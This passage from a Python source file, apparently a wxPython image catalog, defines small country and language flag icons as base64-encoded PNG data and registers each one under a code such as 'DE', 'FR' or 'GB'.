\"X8gPhqcLUYyd3mR/Yiq0u1QInbQ3L7+mqNSyU7mdtqs6DQmxdKd1vp5lqlvN+H75SrdbErrQ\"\n \"69UEuJQAcAPVxZAEffR49e7l6cWkccNqDxqVJ09XcpOjSI1UoQIxAUFzKpQ+d6FZz5eL3bD+\"\n \"/dPal4/+a1QLxavXNqOEKCZ0wBLQ1FzVqahfbJb9TK5YybbpW83a7FwZ1dr8H1GLdNGxEE0V\"\n \"oh7VmtvlQz84yo56+epPLOz19kcYtH9PS3QRJw2wFBGiLnRR//ytvnhvlVl6+/p8VNvo/Dic\"\n \"aa18uBmpkUZLAEuRgQpRRGLA5PWrW/cfrs3kOyQOEN49X9rZh9BoiWoAkGJ3NwzPNaachNDj\"\n \"RLr+dqFU6qvi716u7F6a6au5qbPvwGZonQg5zjwE+gCBAlA4UXrMPyh0GTDv/QqiAAAAAElF\"\n \"TkSuQmCC\")\n\nindex.append('CA')\ncatalog['CA'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABoUlE\"\n \"QVQokU2RvW4TQRhF78zOetc/YMsOFqJBQAEPQEidmpI3SJkOCckSVV6AhoKfElHnBRBvYJTK\"\n \"EkUKIhNSRCTKkoWdmW/muxSWEKe6xSmudEzz9JleXVln/fnpcLnEf5AEEGM8m816QAQS4HR9\"\n \"2l88B1BcXw4GA5IkY9MYRTG5SdXSlbf291010py/vX7lMKoB6s+LfHm+sZOyffNWfR6+fFEY\"\n \"QzIeH2t/Yu/cjoBDUmalJKREMqy+Bo3FyRrR/15+cTlXT7bRddnUDDEBTmNEzhRhCCTbd+/d\"\n \"aGCGY5Z1/vDx+vvJ/PBQuwDTmRgS4OC9SlIRjUISD+7y6IjlyLTeNmfFw0eqmkJnXV+jRMAm\"\n \"75mEIho8ydHe3p/ZVmwakbadzseLBUnxniHmuLnUthTREDQEVUVdjw8Ous+fTFVPd3ZMXeec\"\n \"GUIuI0QS4NLFD4owRPVeVUmaXontx7ZXo6pyzqqqvtNesClFwCVAg5jpxObOGLOJVU23DKmA\"\n \"tdYYU967X0zmKkkBcwwokIBfwI3Vynv/L/BmiMh6d7cHKADgLxaxMt388uCoAAAAAElFTkSu\"\n \"QmCC\")\n\nindex.append('CB')\ncatalog['CB'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABTklE\"\n \"QVQokVWRL2/TcRyEr82P/UlaycKydCAIOIIhJAjI9AKC9AXMTPEOhsHxKta9BBI0eh5PBXSi\"\n \"yC0hdJ+77x2ivwYwl0dc7sQzwPExzs6wtYXVCgBsSAAg9Wz3IGE4HAB4P5vh6Mi7uyZbIqDZ\"\n \"SmQLoC2bCZPPl5cdAMy/Xc3nbTptd+9xxZbQYJ8upxzak+078KgDYKctfuj8/N3L5YunLa5E\"\n \"MeNKagMc+PB69aUD0FqTpOXy4pMG4PMnTNj3XMkaiBDAEIDUSJL8ec2PM36/qgyrb5tpG26y\"\n \"sH6QpGKNhjqdcrJfqX7134eBaWEIgGRVaTQ+fVuvnlVUaZv2JmEl0godAEnc2+PJyYfJg/pV\"\n \"ZdP5m7FsOQ+z/bW77ADw8P7+m9ccj3V7q63Qpq2EGxstaXbLb9Syw8HBxeNHWCxwc9PrXHut\"\n \"+s/x2v3Ozh9eL3jobZO0pwAAAABJRU5ErkJggg==\")\n\nindex.append('CD')\ncatalog['CD'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABoUlE\"\n \"QVQokU2RPWjTARDFLzEoNhZt0cYU/gqCH4TiR4nB4sfkZGdnHVx1FAQXlw6CheLgIKKDk5tV\"\n \"R4eiaA1RSiF2KBmSGm3VBkHU5u6993dIKo7H3eO9d79McnGydf3FvtuTK4sVk8xlgDnMZe62\"\n \"AUvdzM1g5maescO3Hs2MN9YLSFMxpVJIpKAUEKggAQUV5OzNu7nkaPXS8e6dudJCe5RSSAQD\"\n \"aUgBBuigQwEmu/Nmnl1ZLD/8MLHQHoUUFEFHGmQx/9X71/SABwIy82yhVL184lVppAUSpENp\"\n \"6hPJ0tT5J8mO1W7Qoy8Lysyza7Xx+7VT79vFoAIK6Nz++o2zT4e3d6YvPC4MfOsLQgDNPJsf\"\n \"e31lfG5spPkvwLOPRz79GEjVfb50qLG+09E3CcgMuV/z5XvvKtVWHlT0d3pQK883kwND7V7p\"\n \"AAFRMvMtdtJnr27Uv2xtdgY3f8L66p7O79zy9yEPBggK1K78trXqy5y9qcy8Pf35z97iMEEB\"\n \"DCjYIyCQYEqK6jkoY8cO/pxaHrxWsMaZHstNrvhvlBnMZGZ/AR0PdcdtApHFAAAAAElFTkSu\"\n \"QmCC\")\n\nindex.append('CF')\ncatalog['CF'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABj0lE\"\n \"QVQokU3KP0hVARiG8ffcc+x2K7qeweIqDWnSFEFrNdTqUK3V5ODQP5e7OkSTLS3h5OzgkhBc\"\n \"XbMlCLpNIRQoaESbcU+D3/e939tgQb/tgafoXN0pu/Wbpd6d5z/Qgmeywa/PPQLjl/YxlgjC\"\n \"EiQsYVGV3fGdtY2pqaX9a2vrHx4zoSOcevdUES9vTHgpUkx5iMrlZ9+qJLaG8/c6L16/fZSF\"\n \"0pGUdnfl/v1yBuWhYHrofF2gQXFw8HNycoIEgKIQAECam5O5tjb1T6aKohgOP1WAAyhLSIIg\"\n \"SJLMZK7/AAIwGo2qhfcLi9cXD48OKTLJVjLjoZncV7+uRjKNFCOjbtf9Qb8abA5mL87uNXuW\"\n \"FgxPd9oDc5mtfFwxmtMtzenT3elmo6kQcLnRIsNplm40mcv9703zygPBMnACVX8e92fit3vK\"\n \"M52wlMlcZq9uOdOTlvIUz4xx+QmquydxpQ6pJzlAySXHBUfE7Z5LIYVEgADP3USxvY1WC50O\"\n \"2m2cPgsQmeAMEsgv4HESmTj2B5KxXKDSA72eAAAAAElFTkSuQmCC\")\n\nindex.append('CH')\ncatalog['CH'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAABHNCSVQICAgIfAhkiAAAALBJ\"\n \"REFUKJGFUsEVgzAI/VEPvk5gOoZrZIyM4SwePXp0Jydo/kXtIU1NClYuEODDh2BMVQMA9n07\"\n \"8EeY2Y+qNsluiqxhUJAESLQfm+NYhBsBWFcgBGCaTp9zUVtbMAGAShQIQZsAJNWYZJB3TsB5\"\n \"jg/vRbpk8Au+kbJABtDAJMUOviMQQEsCzkXwspxZfR+1tfcMLmlf+MUS266LhvdnsdRZ+QWT\"\n \"LvG1b4fWQ/M9s0t8Ay6VSOU8nBloAAAAAElFTkSuQmCC\")\n\nindex.append('CL')\ncatalog['CL'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABC0lE\"\n \"QVQokXWMPUpDURCFv3vfExOLIGqT0qxBRFyKhTaCZRZg5U5SuQcbWyE2toJIEOxifiSa5M7c\"\n \"GYsEyTPmcDgwnO9M4OqBb0UhwszYiblzCti/gpKJXp8dXhzvdx4HWXKjXkAADyEURRFj9BVN\"\n \"JpOIcXlygHN+tPf2MX8fzWFZr33HzCJw+zTI7nfPI1HXjG+WmZXUdse6dXM/VEe3a5rTJhoA\"\n \"Sl5f4me9GM8sezRLjbpPpw6rb5eDGK3fDxlot73Xc0mIuohL8iSekkslY6s17HZLgyDiKaFa\"\n \"gao0qq6qUBoUqi7CL7Q+U0EzObMYRFGaTRdBMyqIBBFUWaQqOS9sEL7AVkz1/FMBP4aNaAa6\"\n \"+++rAAAAAElFTkSuQmCC\")\n\nindex.append('CN')\ncatalog['CN'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABJElE\"\n \"QVQokV2RMUpDYRCEJ8mLYhGwElOkEAQvoEfwGOYQllp4HQuRmMLGUkG8gJ7AQkUQExOzM7tr\"\n \"8b8XHsIWw7Iz+7HbeQECCKALANg+xvsd0DQFAFBLVwHsXpwPTjC7jP5ebB759qvPJoIppSRD\"\n \"SrLo5+m0CmAwzt7O62Dsn2ceC24cev+A8xsmmcakhVmS1WikAjK/ypj5z637LzsDT5m/MY1h\"\n \"llyFWV2kgApAfPnHqZDaOlK1z+UDl/eMVnaaBZnFEECsvLAun4QtziaWZJIlFU18SLUhXSmB\"\n \"5gt9XzNphSfW2cVARm0oLSlbAP+nJaw3QCqIQYZZPdFwp1mIKU93AJWAoHrDYZJdeYp1fHP+\"\n \"kOAe7ukuoPPYemRbqPXsaKoC/gA6rnMwXmwqoAAAAABJRU5ErkJggg==\")\n\nindex.append('CO')\ncatalog['CO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABEUlE\"\n \"<KEY>\"\n \"kye7O5vdfr4h4bJCQnIC/yfYE24/fg6U0NBVFnFr4qLGjVq3unj9ageg1Xe6yGpFV6NWJ59m\"\n \"Gm03HsTsQOnf29O6UTPtnEBEHnYMLHA3g4u6qVVRt2mnqEwrEGHj1rtnLx5++zFelSNXvoRR\"\n \"5MyRvR7du/H25fudAzZ2xz15RsdYR50rhyA7B36LX4OFzJgxUuWOLzsy9jYDsH/qk7ufn+ri\"\n \"azUZVcoMUjSRjm9VyvLZ+flHPuxncN2Ha/fv1O5MfRyvSkfGzkqXuw43YfsCBmAgEPAV/0fA\"\n \"H7CAa8EDIY7HAAAAAElFTkSuQmCC\")\n\nindex.append('CR')\ncatalog['CR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABJElE\"\n \"QVQokWVRMUpDURCcl/wiKKg38BCeQCy8gxfwAEJuEFKr2FhYBCzEU3gLWy2sFDSKkt2dGYuf\"\n \"RMVhGBjYXYadhu0JAktIiIIF1C/GSgNQh43RxeWhARuyRZckqWjSpJJiqcQqn44v2sIeArAB\"\n \"GIBtwH/R+9ba63zeYTbD3p6/Pi3DslakLNkCadJS29iM25v2AOyMx3x8dJWyXOlMZCrSGYpw\"\n \"Zq/D3d37u7tOAIrOVJX7hQhnrucU4QhlDqoEdALEUpUynOVMZzjy9+2lZgpob9PJaP9AH+99\"\n \"0F61ym0SpGSLg62tp/Oz9rVYdMOhpeWLbNv6/yWgtfb88tKAk8nVEUukiiqKVJYoslwSKclF\"\n \"2b6ejhtwvGpxXefa/hQMFCBg8A0y93t3R/GzpwAAAABJRU5ErkJggg==\")\n\nindex.append('CZ')\ncatalog['CZ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABO0lE\"\n \"QVQokXWRvWpUcRDFz978CWgUVkgQ/CjcUhtBbFcrC0GwSG9vkRfxRQIR8Va+QNrsRhDFF5C1\"\n \"EBVSeGfOOWNxs0uQeIqZU/zODMNM8Orkzcvd1892AQCwPdaLZiPa7YbPtq/f/brSw3vXxkwV\"\n \"gKpNu6DVatV1XbdTPDo9O/7yeyQ22D/jx4XNhlxXNfSfLHt+f1r/0XmAtKtctaPh3UdRfvrg\"\n \"8gwAki1o21RJdUXD4Ylufjia7W2XZLIkSCWVNJlOcXDQSMqQiqqUX5y+vbN4P0RWhDIrojId\"\n \"UZltNvs1DE20XClTNV/280V/DmUiApkVgUyQIAE0BDnSi/7Jsq+Icd4mVhFmgiqJQEOYquff\"\n \"jh//WOLWbTO7TGSarMwJWeTW+gwADX/4ef/RPn5+BwwYAMC15/j+temAvzMZeRNn/GS2AAAA\"\n \"AElFTkSuQmCC\")\n\nindex.append('DE')\ncatalog['DE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABNUlE\"\n \"QVQokXWQMaoUARBEa2ZnwUgUEwN/aqjgNzJUzD5o6D1+4C28iLCXMNHUowgy3V3dVQazaOQL\"\n \"iqbgVdDL3d07zA4Jp61axbYICP9hI/f7+88AJEma6Zkj+wrZ090kebl83dZ1BfD9x88mj7qq\"\n \"Kisr/xIRGfHh41sA2w3wSLohu7urmmQmM6uKEZWRmdwjK582AWyfmLczt6SrfGSmMxWpDGcq\"\n \"wnuq4szegM0sz6DKRWe4SlchnKlM7fvhm2VgM4Dpf8NVjlDEVdt3V06kqzwcYOMb4Ll9kkei\"\n \"xDkOt0W5MbQbov16iW/Y/AJ+Jj8eaaSxRtOWpD7erLElCX6y6D02FNzE+dWKWjRWLWqY1li0\"\n \"2h677Ub1+hvL5cvLBwMVfELuEOCHWAMa1AlT0OC8QgGc8KvwBzggh2H1+79aAAAAAElFTkSu\"\n \"QmCC\")\n\nindex.append('DK')\ncatalog['DK'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABKElE\"\n \"QVQokWVSO04DUQyc93YLBIpEhZRiG27AQeAgtNDlVilziFwhAkFBBFKWBKR4bA/FW5AAy4Vl\"\n \"j39jlxFITJLAeURut7v5PIE/6gCAPoGTxQIAMpFZSqmz2dn9XX58yl0k3EXKPcmX5bIHACif\"\n \"nhGhCEmKiM1DHvYiZRRNZknWYcjWAakJTQKQlLRsUJqMaSaykDYlRMhd7qBLUq3a72EETWYi\"\n \"YQZSZAIlIkopkiS18spUM35LqXXc7Xr8xCAILe8/WlKRMrPfdt3s9jY2G7nL7HS10jgerm9y\"\n \"/97maQvIvb+8fFqvewCNPpEgp2Z2xPE4Oc3khAciJpZEr/O5SHkAQNfVYcDhUBr97jUCERkB\"\n \"oDwD/n1IBy7e3vzx8fXq6sfZ/qCduQJfBq5Z9b21BQQAAAAASUVORK5CYII=\")\n\nindex.append('DO')\ncatalog['DO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABN0lE\"\n \"QVQokXVRMWqUYRSc798fixWEEIwsmCKN4gG8jYVN6lR2OYOFJxCCF0iX3gukiN1KakFZu+TN\"\n \"vBmLfyOxcIrh8Zh5A/PG6s0FHtAyyrB/fnv/TLvvB4cGDOgRzwA+nb8NkMAdO7LXTzDm9fPT\"\n \"05CRQloKub28nAEk+PHrrhd1uzudzG5utymG5aqQq+NjA3MbCbrTTrfVkewkcarCcjFVJidS\"\n \"wAxZflBrb5hHMq1S5SqTqQppUsDo7jFGkiQA8n+Mafq9240tcHh2ptvbsEKZDOvg6qqn+d2H\"\n \"r5Kplkz55YunXz5+ngxkHypXpSr3lfu76ixqypSl7jag2cC+OHJxuiqJk+L+trrVaf81UNNm\"\n \"M8ioLQ5yTKtpjM3RuttLdbbVATxu/n3kwq9urnfro9cn54/Wy4A/xLJ3307zCyYAAAAASUVO\"\n \"RK5CYII=\")\n\nindex.append('DZ')\ncatalog['DZ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABmUlE\"\n \"QVQokU2PPWtUURCG33PO3bu7lxWjZA2bsIUEFMk/0DqI6EJs9AfY2FhYGkFsBP0B1tqITSxD\"\n \"GrHRRrAQO0VBtsr6lTWud8+Zr2NxF3WKYYrnnZnHnbw1msYZAAAkEok0zkJZfbqzU4YWgJyz\"\n \"mZmZiJhZ8a2e3t+6kQHLpqaiKiJWhP5g0IZHzpb/1Xg8LgpfZOTJ4Q9RFRUyYab1nySr720w\"\n \"sFbLbBGpqirnXMDMchZVVmGV4a/68sevXUo17/XOj9DvI4S/F8zMRyFRIRUWpiybn79XlO6e\"\n \"OREujGa7z5z3jV4TEBEfiUSVhZJyIlr+PX8ntN8p5vdupzevJ9eueO9DCM65Rt1niqyShBNT\"\n \"Up4Yn9qflgfT9s3tcv306qOdhg4hLF5CrEmFmBNTSvHpSmfewoNXH/jJ46NbVzORmQFwzgFQ\"\n \"VY9Ys3ASSkyR0tsurm8sPVzrVZuX8nBonc7/xgAKxEMSXu4tkTIxJ2Fqp/FKaefO5uwc0Kxv\"\n \"aDNzuHgMXw4QgRqLPgNKvHj+8nj3SAOpajMA+AMw503J6/1+rgAAAABJRU5ErkJggg==\")\n\nindex.append('EC')\ncatalog['EC'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABKklE\"\n \"QVQokW2OPUqdYRCFz6evIFcJiCERK7lNmuwgq8kCbMTaStKkdUMuINiqlSI2MYkXo6LvnB+L\"\n \"zysKDofhcOZhZobHky/wDcay7Q7T6HY3YwOGDRM2ADT43+KnfQCAkCxEiBONQpgQYeyEs+Of\"\n \"DWhAwKs54YQJYyaEGVRcMYelz+5oMAC/S8eVEKmYScGk0drkZlh8RB5eHpjrmRvXJzW0++UJ\"\n \"2sfdvR/fv/2+vqUiizJlSkVRLkkU6ZI31lcPti/a9enm5ezDxZ9Wcsmki+50yUUVMw/1XxNg\"\n \"2vBgahy7+GI0ms5wPEVLBjwcAZs7O/3sLFWueu69u8rkmIQVamk6/XV42LaA5bsZ1lbCSmkk\"\n \"wEoxrIghQ0HK7d+vwHAOEPBb8ZXBK7MAPAH8bIEjRK/4bgAAAABJRU5ErkJggg==\")\n\nindex.append('EE')\ncatalog['EE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAAA8klE\"\n \"QVQokYWRMUpDURBFz4MHLsAilVi5BBcgrsfWxl25gSC4gCwhBFPbhpk7dyy++cZCPM0beOde\"\n \"GGbwuGXFEEZGJkSYMCcRIsTJpCbw8nQH2Li73DJlq1plFVlWOd1Z/fr0Ppfqj88sd7mzXNVZ\"\n \"zuqUszrkKGf65voKNDE25Zat6qqOsqpz8eRQh5x2lkGT7UPdP+twkKRUKhciMjPi/GRm3t7C\"\n \"2wSkysw18P19qUcsAjCBKkmKjHN/RORl91oBjOPxuNlsuhvovwHGGLvdbtpe1H8DgO1pe7XX\"\n \"A44x+MWA/gns93vbGGNJtu3vYVnUZ4Av1C5+7JEmXZcAAAAASUVORK5CYII=\")\n\nindex.append('EG')\ncatalog['EG'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABI0lE\"\n \"QVQokZ2PIU5DYRCE5388UCSoUipwNWCqkByCO5D6OhIsqUByABwXqEFyhl6gCkigwVQQ+s/s\"\n \"DuIVAki+bCaTyewmW96AxIb8rd+jH2GbwO7lJQBnItMRVjhkCZJJS0laAvk8m7UADMfjEyIc\"\n \"AdIRJk0m6UqzZq0gm8NDAe3OyUlzdIze/uZ8BCK45tbpe/OwnayWGslS6fV27u9LRJRSANiG\"\n \"YTgzPpa34OP2wQXc+otSymq1arp3Nxlsu75ca73KWNfnK/8EyMzmT9u2Lcof3EvzV9/OzDIa\"\n \"jSaTyXK5jAhJkkidn73aurnbk5QZkiKi3+9Pp9MCYDweLxYLkiRrrbXWzpDsnEQphsPhfD5v\"\n \"AZAaDAYkpZC6RUrqtDvfgX/wCf7XTmN4WqTRAAAAAElFTkSuQmCC\")\n\nindex.append('ES')\ncatalog['ES'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABH0lE\"\n \"QVQokX2RrU5cURSFv3PntghCJQkCBUgQ9RieAVmN6CtMJsFjeBZsVVUtg2dUK5owyYTOlLln\"\n \"/yzEvRM6CenOypcl9l5i7SLeJrf9uyoCxmNAmWQSIQ/C5Y67zPQPl3d3LQDSz19EECGznoOq\"\n \"yapqlVk5PExoCVQEAfF3kS8L7e3X0Y5LJlWpDiaNYvlMkwABvlx53MJNu3q6WHd1s70RVRjQ\"\n \"ABCSje6/+G8vXycfHo+6edmKH248kwaQXPL27OTPSXI9GZ1+bvVR6qS6YZUqskyaTPqYH48P\"\n \"u+d1fdl9n35bf1ptsgeCS+5O6WB0dZWzGUMtQycDe+OGRzk+nk+nbUJjzsGBzPDADbNihjs9\"\n \"3fvGiUgoq+1H/ufH/bwCdrRKr4/GDeYAAAAASUVORK5CYII=\")\n\nindex.append('ESPERANTO')\ncatalog['ESPERANTO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAABHNCSVQICAgIfAhkiAAAALtJ\"\n \"REFUKJHNzLEKglAYhuH3yCGEaDu41RhODjk4uUejV+A1eAVdhIObU12DEDjW7BK1BdFmNVRk\"\n \"GdjqEFhOfePP/7winIUPy7RkVVUIIQCYLqe3dJ8+adqei7RMS7ojV4u3Mf7QRwiBcTZ6dBo5\"\n \"ABpAtI4IVgHewiMv8u9kPTDuj3EMB1vZKF39FJAASlckk4Rref0JA8goi+6D16BbP2bH7PvA\"\n \"fDMvKOk2v36e1hb+T0Cy40TJo5U+cHsD6JgyzFPQGaoAAAAASUVORK5CYII=\")\n\nindex.append('ET')\ncatalog['ET'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABhElE\"\n \"QVQokV2LsWuTYRjE7/3yGSsWDbRKGgixnYRujg4d/A8KXerk4iK4OIiguDQ4Cy5uTk7ZRHB2\"\n \"FXEqKFhqCUrBBFNjkn5573mec6iKevyG+3FcwvYqJmOcJAzZEBmZMMCACshA/l0WUGL87f7N\"\n \"RwAiFHKPsHC3bOEWMne6mxvD6Xxx+3GJqg6mz6OBh3sEI3uyVLboMZ3usWI2ZCPJ9nITQIm1\"\n \"wXJjzmJm4RE2J85dvFOr1T1iUlWH/QdSRae5Nc+fxQUkd6R0F+hLBtmTt93hbGmj3Ts4urQ7\"\n \"uNKoH967ekPKElPqjMevCwCAS5QocJrrG+3ewdGqRVzrPB8eN6T8C1gECgCSSSZkKaeierW/\"\n \"FcqtxQ8vP26fOTX6c4AYgUQgdW/pyyeYyXKeY2fz6ffTiwwt/Bh1n22VmoiEWWqvDXvvygBq\"\n \"fdM+QYosc364c/19c93NL++9KThTzjLCHMcOoAygoGFlRSTMYSzIdX4VTJ2WzGAG9xMCSFMg\"\n \"/gL/6n8TgJ8hCj2miB4d6gAAAABJRU5ErkJggg==\")\n\nindex.append('FI')\ncatalog['FI'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABN0lE\"\n \"QVQokW2RvWqUYRCFz3x+ooQVFAIKCRaSIlYKtpZeR65C0moj8UpSCNYWBsRKOysF0ZA0ESQB\"\n \"Q7JF8r5nnkmxy+KKD1PNz4EzJ46OzzVnWHv2WQ1Nhq+7j1duykjMMQCnZ9NxkO6tTiRV1avt\"\n \"TYpMbT64XVWz5t98+9lGpNlA0q+TS6NM6n9ERDMjKJmL9VSCXQlVS/IqFNFM6MnHnecbRyct\"\n \"k9bLWT0paC67etI6Ni1ZX73x5uX7URdu5rKTWU66y4lNz+qmGXda0ns1I12MwlVVFNBdNs0A\"\n \"mZUJSQIJFCARPw7+3F+/BVRp6/V+N928fbHBsnNJEfHpy+E4jFwLRUih2XY3VSX9U5IEbRQs\"\n \"Xn73znUntiJCS8TiJr7v/14E+ejhntSk4d2Hp5MVGWS8SBudTadX03Ro9+qwo6AAAAAASUVO\"\n \"RK5CYII=\")\n\nindex.append('FJ')\ncatalog['FJ'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABzElE\"\n \"QVQokU2RP2iTYRjE702+tDEl1mgS27TFarFoh9JWHVxcKkKd2kGqg4OTFFGRDoIViujmIg4F\"\n \"FxUHRUGnWBCqoLSCQ0HBuFnt0qQojSY1Cd/7PM85BP9sd8PB7+7c0vmZhTA3e+fT7I73iZbI\"\n \"5WL32c7K+PjBscpV5AxiaBjEYIaaQeCGey4+fzApO3ONwkfWaq4j157dNl+or6aHgzhCUIxi\"\n \"FKUYb89tBnfliSv0b3n7MlouW73ekkrVBYeFiweGkKQqxeiVXtnR5hBakE8Mnenbnyiv1YVu\"\n \"eybe17vxpViotnqlKqfzl2L1avqklO55dPfOhdORtZFjLh5//DlY8W1fa7GHP7siu3ZvsNUr\"\n \"KTQvmVNCCbOnxbxAEKQH9uVLyaVIf6Ozy5m+Womu7h0YPCS+TFPi+q3YVpYmJzKPnmIkghM/\"\n \"HK7pzVGsVZvN0CQWpTfWyHMvrvSUClrdZBD9Nnjk6OJUgNCUTpRiEKVXemNTEGyfvZFpZ3Fi\"\n \"LPtsvlFxePM9gJhoVJT+b+DPMiE485rH93DU+/sfuLwOhAjQMI9IKgltIhGiUHOiEIMQyyW8\"\n \"u7Bg61QDzBymfkEMoSFs/op/1v4TYjAA+A0AOEaMXbWFtAAAAABJRU5ErkJggg==\")\n\nindex.append('FO')\ncatalog['FO'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABQklE\"\n \"QVQokW2RvUoDQRDHZ7kVm9wV4S4GycUPCD6FhYW+gYXvICjEj9pOW30CCx/ABxARsbFNIYci\"\n \"Z9CQi0KKNGZmdsZiY4gmv2JYZnb+O/sfMxgM4Jew3n3uNxrzWb9bEREAkCksAJRKJQBQ1ePT\"\n \"JC4O9stJFEWq6pOTdDod67V9uV0wf+RvQ9JZGGNGL/jbBEBOhB3yf2GPn9CGte7RWdzuOWZh\"\n \"p0BITrcOP5GUWJCVSJCEWJeq9u7ixWQAyUmT33N1rMTKpIRKJERKKERC6A9z9ZXW9YNdC572\"\n \"ypV8yOiUSS/bO9sLV0iCrMQjbR9XK/YRWrb/VQ3D0I+42ewp4hDl/jye/oAx5nV32Xq/fQpJ\"\n \"hRBnmeTNZGYrImPLF+Mg+K6lSWCMgT8YgFGPKYpivMU0zW9hfQNusqw2uV0QYRHf8AN4MF/m\"\n \"C35t4wAAAABJRU5ErkJggg==\")\n\nindex.append('FR')\ncatalog['FR'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABPElE\"\n \"QVQokW2RPYpUURSE67x+BiM4iYK0Zi5AcANGxoIbMTExFjE0EWPd02xBzIycbu49t34MegQD\"\n \"v6iCgiqq6t3XG/zF9NvX15LmnJJIVtWzVy98C04QMLADePPyCYA4do7HB0kAJLGd5N7Hz+Fy\"\n \"d9b69f7DDgDB7/OSYvt0OiW5uKtK0vXPH+6Znnj4iMAGI44U2VS2bUtSVRdh2z08p9dMt4Gd\"\n \"tGzJUmgl2bYtvtQJAM+Znu5V3Q3s3bQjedliDoeDbQP7BruqynNmtbuLNLA3TWXJlEnnHyQl\"\n \"SU91p9d2SRhN2aSXzCX7ro10p9Wdnl4LXAb2MUh60aQW/R/mDJfXKorAfu4mff/qIILcLvtc\"\n \"fqyqqjo8PposMVoG9vOZn77fjNHnwdvRT6+O3b3GaKm7xxjPv3wz7m4G8AfurXtmcb4hTgAA\"\n \"AABJRU5ErkJggg==\")\n\nindex.append('GB')\ncatalog['GB'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAACAklE\"\n \"QVQokQXBW0hTYQDA8f93XKtWlIdFmkaidoGkhyiokRDRzRFFPkSZRQkVQhJIIPQQlpYRXZ5S\"\n \"K<KEY>\"\n \"TujO4IbKT4GIQm4vSqRbL80oP9zQpVNzqn3kr5RGTPo/yETyx28ZNaR891p+6Y3E5OBPKQ1T\"\n \"PrgpwyGfX67f1qahNAVvgw6Rmyc62vMc8WhciP4+8S0YNkS+IyKOVwvXxqans+MGRKWGAEDw\"\n \"Zlhny2a8j7MyogwMYI7lZIQ5WUPDmSvdztA/LAvA5tZ6crXVC+1TKBhRFC3nQj39QfoCvHpP\"\n \"1TEGv1bNizHXUs4Fdi7alO8lJW4+BpAwOMTYLybGCUUwDUb/8LyMpIlpkUpxZM8k2ETBEvIW\"\n \"49BB4XKRmUnFASIRTJOZdq63YBiYSRIWRYX6iy6bR9+ZL7OGE9kCigtD1NfR8YQ1K5k7nbvP\"\n \"KCvlWvPRW9nRuFmSYb/KVk0qhQIoXjTB6VpO1E4m7Bgm8VTPpJPGVvbua9zkV1Y0nU6BpSFB\"\n \"Ubw0rHyd6uz57pE5tmlKHSxV5TuydXV7KEve91g+741Kk3QSkjZU+vvDpkBbi1ZRfW7/PabS\"\n \"63bNX9vpBS73rlKjn5uJHXL4Jx55cgBc/wFytP7Lx9suAgAAAABJRU5ErkJggg==\")\n\nindex.append('GE')\ncatalog['GE'] = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAIAAAD5gJpuAAAAA3NCSVQICAjb4U/gAAABtklE\"\n \"QVQokUWRT2sTURTF73t5mUCptg0BjUhXuo60OouCf3cu/<KEY>\"\n 